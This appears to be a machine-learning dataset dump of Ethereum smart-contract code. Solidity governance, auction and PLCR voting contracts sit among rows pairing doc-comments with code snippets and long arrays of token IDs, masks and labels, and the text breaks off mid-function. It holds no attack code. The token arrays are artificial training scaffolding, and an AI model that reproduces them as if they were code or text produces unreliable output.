* @param _closingTime Vote closing time for Each voting layer
* @param _actionHash hash of details containing the action that has to be performed after proposal is accepted
* @param _contractAddress address of contract to call after proposal is accepted
* @param _contractName name of contract to be called after proposal is accepted
* @param _incentives rewards to distributed after proposal is accepted
*/
function _addCategory(
string memory _name,
uint _memberRoleToVote,
uint _majorityVotePerc,
uint _quorumPerc,
uint[] memory _allowedToCreateProposal,
uint _closingTime,
string memory _actionHash,
address _contractAddress,
bytes2 _contractName,
uint[] memory _incentives
)
internal
{
require(_verifyMemberRoles(_memberRoleToVote, _allowedToCreateProposal) == 1, "Invalid Role");
allCategory.push(
CategoryStruct(
_memberRoleToVote,
_majorityVotePerc,
_quorumPerc,
_allowedToCreateProposal,
_closingTime,
_incentives[0]
)
);
uint categoryId = allCategory.length - 1;
categoryActionData[categoryId] = CategoryAction(_incentives[1], _contractAddress, _contractName);
categoryABReq[categoryId] = _incentives[2];
isSpecialResolution[categoryId] = _incentives[3];
emit Category(categoryId, _name, _actionHash);
}
/**
* @dev Internal call to check if given roles are valid or not
*/
function _verifyMemberRoles(uint _memberRoleToVote, uint[] memory _allowedToCreateProposal)
internal view returns (uint) {
uint totalRoles = mr.totalRoles();
if (_memberRoleToVote >= totalRoles) {
return 0;
}
for (uint i = 0; i < _allowedToCreateProposal.length; i++) {
if (_allowedToCreateProposal[i] >= totalRoles) {
return 0;
}
}
return 1;
}
}
/* Copyright (C) 2017 GovBlocks.io
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see http://www.gnu.org/licenses/ */
pragma solidity ^0.5.0;
contract IGovernance {
event Proposal(
address indexed proposalOwner,
uint256 indexed proposalId,
uint256 dateAdd,
string proposalTitle,
string proposalSD,
string proposalDescHash
);
event Solution(
uint256 indexed proposalId,
address indexed solutionOwner,
uint256 indexed solutionId,
string solutionDescHash,
uint256 dateAdd
);
event Vote(
address indexed from,
uint256 indexed proposalId,
uint256 indexed voteId,
uint256 dateAdd,
uint256 solutionChosen
);
event RewardClaimed(
address indexed member,
uint gbtReward
);
/// @dev VoteCast event is called whenever a vote is cast that can potentially close the proposal.
event VoteCast (uint256 proposalId);
/// @dev ProposalAccepted event is called when a proposal is accepted so that a server can listen that can
/// call any offchain actions
event ProposalAccepted (uint256 proposalId);
/// @dev CloseProposalOnTime event is called whenever a proposal is created or updated to close it on time.
event CloseProposalOnTime (
uint256 indexed proposalId,
uint256 time
);
/// @dev ActionSuccess event is called whenever an onchain action is executed.
event ActionSuccess (
uint256 proposalId
);
/// @dev Creates a new proposal
/// @param _proposalDescHash Proposal description hash through IPFS having Short and long description of proposal
/// @param _categoryId This id tells under which the proposal is categorized i.e. Proposal's Objective
function createProposal(
string calldata _proposalTitle,
string calldata _proposalSD,
string calldata _proposalDescHash,
uint _categoryId
)
external;
/// @dev Edits the details of an existing proposal and creates new version
/// @param _proposalId Proposal id that details needs to be updated
/// @param _proposalDescHash Proposal description hash having long and short description of proposal.
function updateProposal(
uint _proposalId,
string calldata _proposalTitle,
string calldata _proposalSD,
string calldata _proposalDescHash
)
external;
/// @dev Categorizes proposal to proceed further. Categories shows the proposal objective.
function categorizeProposal(
uint _proposalId,
uint _categoryId,
uint _incentives
)
external;
/// @dev Submit proposal with solution
/// @param _proposalId Proposal id
/// @param _solutionHash Solution hash contains parameters, values and description needed according to proposal
function submitProposalWithSolution(
uint _proposalId,
string calldata _solutionHash,
bytes calldata _action
)
external;
/// @dev Creates a new proposal with solution and votes for the solution
/// @param _proposalDescHash Proposal description hash through IPFS having Short and long description of proposal
/// @param _categoryId This id tells under which the proposal is categorized i.e. Proposal's Objective
/// @param _solutionHash Solution hash contains parameters, values and description needed according to proposal
function createProposalwithSolution(
string calldata _proposalTitle,
string calldata _proposalSD,
string calldata _proposalDescHash,
uint _categoryId,
string calldata _solutionHash,
bytes calldata _action
)
external;
/// @dev Casts vote
/// @param _proposalId Proposal id
/// @param _solutionChosen solution chosen while voting. _solutionChosen[0] is the chosen solution
function submitVote(uint _proposalId, uint _solutionChosen) external;
function closeProposal(uint _proposalId) external;
function claimReward(address _memberAddress, uint _maxRecords) external returns (uint pendingDAppReward);
function proposal(uint _proposalId)
external
view
returns (
uint proposalId,
uint category,
uint status,
uint finalVerdict,
uint totalReward
);
function canCloseProposal(uint _proposalId) public view returns (uint closeValue);
function allowedToCatgorize() public view returns (uint roleId);
}
/* Copyright (C) 2017 GovBlocks.io
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see http://www.gnu.org/licenses/ */
pragma solidity ^0.5.0;
interface IMaster {
function getLatestAddress(bytes2 _module) external view returns (address);
}
contract Governed {
address public masterAddress; // Name of the dApp, needs to be set by contracts inheriting this contract
/// @dev modifier that allows only the authorized addresses to execute the function
modifier onlyAuthorizedToGovern() {
IMaster ms = IMaster(masterAddress);
require(ms.getLatestAddress("GV") == msg.sender, "Not authorized");
_;
}
/// @dev checks if an address is authorized to govern
function isAuthorizedToGovern(address _toCheck) public view returns (bool) {
IMaster ms = IMaster(masterAddress);
return (ms.getLatestAddress("GV") == _toCheck);
}
}
/* Copyright (C) 2017 GovBlocks.io
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see http://www.gnu.org/licenses/ */
pragma solidity ^0.5.0;
contract IProposalCategory {
event Category(
uint indexed categoryId,
string categoryName,
string actionHash
);
/// @dev Adds new category
/// @param _name Category name
/// @param _memberRoleToVote Voting Layer sequence in which the voting has to be performed.
/// @param _allowedToCreateProposal Member roles allowed to create the proposal
/// @param _majorityVotePerc Majority Vote threshold for Each voting layer
/// @param _quorumPerc minimum threshold percentage required in voting to calculate result
/// @param _closingTime Vote closing time for Each voting layer
/// @param _actionHash hash of details containing the action that has to be performed after proposal is accepted
/// @param _contractAddress address of contract to call after proposal is accepted
/// @param _contractName name of contract to be called after proposal is accepted
/// @param _incentives rewards to distributed after proposal is accepted
function addCategory(
string calldata _name,
uint _memberRoleToVote,
uint _majorityVotePerc,
uint _quorumPerc,
uint[] calldata _allowedToCreateProposal,
uint _closingTime,
string calldata _actionHash,
address _contractAddress,
bytes2 _contractName,
uint[] calldata _incentives
)
external;
/// @dev gets category details
function category(uint _categoryId)
external
view
returns (
uint categoryId,
uint memberRoleToVote,
uint majorityVotePerc,
uint quorumPerc,
uint[] memory allowedToCreateProposal,
uint closingTime,
uint minStake
);
///@dev gets category action details
function categoryAction(uint _categoryId)
external
view
returns (
uint categoryId,
address contractAddress,
bytes2 contractName,
uint defaultIncentive
);
/// @dev Gets Total number of categories added till now
function totalCategories() external view returns (uint numberOfCategories);
/// @dev Updates category details
/// @param _categoryId Category id that needs to be updated
/// @param _name Category name
/// @param _memberRoleToVote Voting Layer sequence in which the voting has to be performed.
/// @param _allowedToCreateProposal Member roles allowed to create the proposal
/// @param _majorityVotePerc Majority Vote threshold for Each voting layer
/// @param _quorumPerc minimum threshold percentage required in voting to calculate result
/// @param _closingTime Vote closing time for Each voting layer
/// @param _actionHash hash of details containing the action that has to be performed after proposal is accepted
/// @param _contractAddress address of contract to call after proposal is accepted
/// @param _contractName name of contract to be called after proposal is accepted
/// @param _incentives rewards to distributed after proposal is accepted
function updateCategory(
uint _categoryId,
string memory _name,
uint _memberRoleToVote,
uint _majorityVotePerc,
uint _quorumPerc,
uint[] memory _allowedToCreateProposal,
uint _closingTime,
string memory _actionHash,
address _contractAddress,
bytes2 _contractName,
uint[] memory _incentives
)
public;
}
| @dev Return member address who holds the right to add/remove any member from specific role. | return memberRoleData[_memberRoleId].authorized;
| 2,578,529 | [
1,
990,
3140,
1758,
10354,
14798,
326,
2145,
358,
527,
19,
4479,
1281,
3140,
628,
2923,
2478,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
327,
3140,
2996,
751,
63,
67,
5990,
2996,
548,
8009,
8434,
31,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./full_match/80001/0xDD357b04673d6f085f25D2a4EEfA2c3A1735b692/sources/contracts/cafe.sol | Set up the menu with initial prices in points | constructor() {
wallet = payable(0x72aA8A79D02705444CC6918A6766Be03AD4C29F5);
menu["Coffee"] = 50;
menu["Tea"] = 30;
menu["Sandwich"] = 100;
}
| 5,586,830 | [
1,
694,
731,
326,
3824,
598,
2172,
19827,
316,
3143,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
3885,
1435,
288,
203,
1377,
9230,
273,
8843,
429,
12,
20,
92,
9060,
69,
37,
28,
37,
7235,
40,
3103,
27,
6260,
6334,
24,
6743,
8148,
2643,
37,
9599,
6028,
1919,
4630,
1880,
24,
39,
5540,
42,
25,
1769,
203,
3639,
3824,
9614,
39,
3674,
1340,
11929,
273,
6437,
31,
203,
3639,
3824,
9614,
21575,
69,
11929,
273,
5196,
31,
203,
3639,
3824,
9614,
55,
464,
91,
1354,
11929,
273,
2130,
31,
203,
565,
289,
203,
377,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./partial_match/1/0x30B20461Ca756570D3a19825Bf48eF4F8D44586F/sources/contracts/Auction.sol | performs a single insertion sort iteration sorts the given array index assumes all other elements are already sorted @param i the index to sort | function _insertionSort(uint256 i) internal {
while (i > 0 && deposits[highest[i - 1]].amount < deposits[highest[i]].amount) {
address tmp = highest[i - 1];
highest[i - 1] = highest[i];
highest[i] = tmp;
--i;
}
}
| 2,896,682 | [
1,
457,
9741,
279,
2202,
12626,
1524,
6532,
18524,
326,
864,
526,
770,
13041,
777,
1308,
2186,
854,
1818,
3115,
225,
277,
326,
770,
358,
1524,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
389,
6387,
285,
4416,
12,
11890,
5034,
277,
13,
2713,
288,
203,
3639,
1323,
261,
77,
405,
374,
597,
443,
917,
1282,
63,
8766,
395,
63,
77,
300,
404,
65,
8009,
8949,
411,
443,
917,
1282,
63,
8766,
395,
63,
77,
65,
8009,
8949,
13,
288,
203,
5411,
1758,
1853,
273,
9742,
63,
77,
300,
404,
15533,
203,
5411,
9742,
63,
77,
300,
404,
65,
273,
9742,
63,
77,
15533,
203,
5411,
9742,
63,
77,
65,
273,
1853,
31,
203,
5411,
1493,
77,
31,
203,
3639,
289,
203,
565,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
pragma solidity ^0.4.24;
// File: openzeppelin-solidity/contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
// assert(_b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = _a / _b;
// assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold
return _a / _b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
// File: openzeppelin-solidity/contracts/ownership/Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
// File: contracts/Interface/EIP20Interface.sol
contract EIP20Interface {
/* This is a slight change to the ERC20 base standard.
function totalSupply() constant returns (uint256 supply);
is replaced with:
uint256 public totalSupply;
This automatically creates a getter function for the totalSupply.
This is moved to the base contract since public getter functions are not
currently recognised as an implementation of the matching abstract
function by the compiler.
*/
/// total amount of tokens
function totalSupply() public view returns (uint256 supply);
/// @param _owner The address from which the balance will be retrieved
/// @return The balanceπ
function balanceOf(address _owner) public view returns (uint256 balance);
/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint256 _value) public returns (bool success);
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
/// @notice `msg.sender` approves `_spender` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of tokens to be approved for transfer
/// @return Whether the approval was successful or not
function approve(address _spender, uint256 _value) public returns (bool success);
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
// solhint-disable-next-line no-simple-event-func-name
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
// File: contracts/CanCheckERC165.sol
contract CanCheckERC165 {
bytes4 constant InvalidID = 0xffffffff;
bytes4 constant ERC165ID = 0x01ffc9a7;
function doesContractImplementInterface(address _contract, bytes4 _interfaceId) external view returns (bool) {
uint256 success;
uint256 result;
(success, result) = noThrowCall(_contract, ERC165ID);
if ((success==0)||(result==0)) {
return false;
}
(success, result) = noThrowCall(_contract, InvalidID);
if ((success==0)||(result!=0)) {
return false;
}
(success, result) = noThrowCall(_contract, _interfaceId);
if ((success==1)&&(result==1)) {
return true;
}
return false;
}
function noThrowCall(address _contract, bytes4 _interfaceId) internal view returns (uint256 success, uint256 result) {
bytes4 erc165ID = ERC165ID;
assembly {
let x := mload(0x40) // Find empty storage location using "free memory pointer"
mstore(x, erc165ID) // Place signature at begining of empty storage
mstore(add(x, 0x04), _interfaceId) // Place first argument directly next to signature
success := staticcall(
30000, // 30k gas
_contract, // To addr
x, // Inputs are stored at location x
0x20, // Inputs are 32 bytes long
x, // Store output over input (saves space)
0x20) // Outputs are 32 bytes long
result := mload(x) // Load the result
}
}
}
// File: contracts/PLCRVoting.sol
library DLL {
uint constant NULL_NODE_ID = 0;
struct Node {
uint next;
uint prev;
}
struct Data {
mapping(uint => Node) dll;
}
function isEmpty(Data storage self) public view returns (bool) {
return getStart(self) == NULL_NODE_ID;
}
function contains(Data storage self, uint _curr) public view returns (bool) {
if (isEmpty(self) || _curr == NULL_NODE_ID) {
return false;
}
bool isSingleNode = (getStart(self) == _curr) && (getEnd(self) == _curr);
bool isNullNode = (getNext(self, _curr) == NULL_NODE_ID) && (getPrev(self, _curr) == NULL_NODE_ID);
return isSingleNode || !isNullNode;
}
function getNext(Data storage self, uint _curr) public view returns (uint) {
return self.dll[_curr].next;
}
function getPrev(Data storage self, uint _curr) public view returns (uint) {
return self.dll[_curr].prev;
}
function getStart(Data storage self) public view returns (uint) {
return getNext(self, NULL_NODE_ID);
}
function getEnd(Data storage self) public view returns (uint) {
return getPrev(self, NULL_NODE_ID);
}
/**
@dev Inserts a new node between _prev and _next. When inserting a node already existing in
the list it will be automatically removed from the old position.
@param _prev the node which _new will be inserted after
@param _curr the id of the new node being inserted
@param _next the node which _new will be inserted before
*/
function insert(Data storage self, uint _prev, uint _curr, uint _next) public {
require(_curr != NULL_NODE_ID);
remove(self, _curr);
require(_prev == NULL_NODE_ID || contains(self, _prev));
require(_next == NULL_NODE_ID || contains(self, _next));
require(getNext(self, _prev) == _next);
require(getPrev(self, _next) == _prev);
self.dll[_curr].prev = _prev;
self.dll[_curr].next = _next;
self.dll[_prev].next = _curr;
self.dll[_next].prev = _curr;
}
function remove(Data storage self, uint _curr) public {
if (!contains(self, _curr)) {
return;
}
uint next = getNext(self, _curr);
uint prev = getPrev(self, _curr);
self.dll[next].prev = prev;
self.dll[prev].next = next;
delete self.dll[_curr];
}
}
library AttributeStore {
struct Data {
mapping(bytes32 => uint) store;
}
function getAttribute(Data storage self, bytes32 _UUID, string _attrName)
public view returns (uint) {
bytes32 key = keccak256(_UUID, _attrName);
return self.store[key];
}
function setAttribute(Data storage self, bytes32 _UUID, string _attrName, uint _attrVal)
public {
bytes32 key = keccak256(_UUID, _attrName);
self.store[key] = _attrVal;
}
}
/**
@title Partial-Lock-Commit-Reveal Voting scheme with ERC20 tokens
@author Team: Aspyn Palatnick, Cem Ozer, Yorke Rhodes
*/
contract PLCRVoting {
// ============
// EVENTS:
// ============
event _VoteCommitted(uint indexed pollID, uint numTokens, address indexed voter);
event _VoteRevealed(uint indexed pollID, uint numTokens, uint votesFor, uint votesAgainst, uint indexed choice, address indexed voter);
event _PollCreated(uint voteQuorum, uint commitEndDate, uint revealEndDate, uint indexed pollID, address indexed creator);
event _VotingRightsGranted(uint numTokens, address indexed voter);
event _VotingRightsWithdrawn(uint numTokens, address indexed voter);
event _TokensRescued(uint indexed pollID, address indexed voter);
// ============
// DATA STRUCTURES:
// ============
using AttributeStore for AttributeStore.Data;
using DLL for DLL.Data;
using SafeMath for uint;
struct Poll {
uint commitEndDate; /// expiration date of commit period for poll
uint revealEndDate; /// expiration date of reveal period for poll
uint voteQuorum; /// number of votes required for a proposal to pass
uint votesFor; /// tally of votes supporting proposal
uint votesAgainst; /// tally of votes countering proposal
mapping(address => bool) didCommit; /// indicates whether an address committed a vote for this poll
mapping(address => bool) didReveal; /// indicates whether an address revealed a vote for this poll
}
// ============
// STATE VARIABLES:
// ============
uint constant public INITIAL_POLL_NONCE = 0;
uint public pollNonce;
mapping(uint => Poll) public pollMap; // maps pollID to Poll struct
mapping(address => uint) public voteTokenBalance; // maps user's address to voteToken balance
mapping(address => DLL.Data) dllMap;
AttributeStore.Data store;
EIP20Interface public token;
/**
@dev Initializer. Can only be called once.
@param _token The address where the ERC20 token contract is deployed
*/
constructor(address _token) public {
require(_token != 0);
token = EIP20Interface(_token);
pollNonce = INITIAL_POLL_NONCE;
}
// ================
// TOKEN INTERFACE:
// ================
/**
@notice Loads _numTokens ERC20 tokens into the voting contract for one-to-one voting rights
@dev Assumes that msg.sender has approved voting contract to spend on their behalf
@param _numTokens The number of votingTokens desired in exchange for ERC20 tokens
*/
function requestVotingRights(uint _numTokens) public {
require(token.balanceOf(msg.sender) >= _numTokens);
voteTokenBalance[msg.sender] += _numTokens;
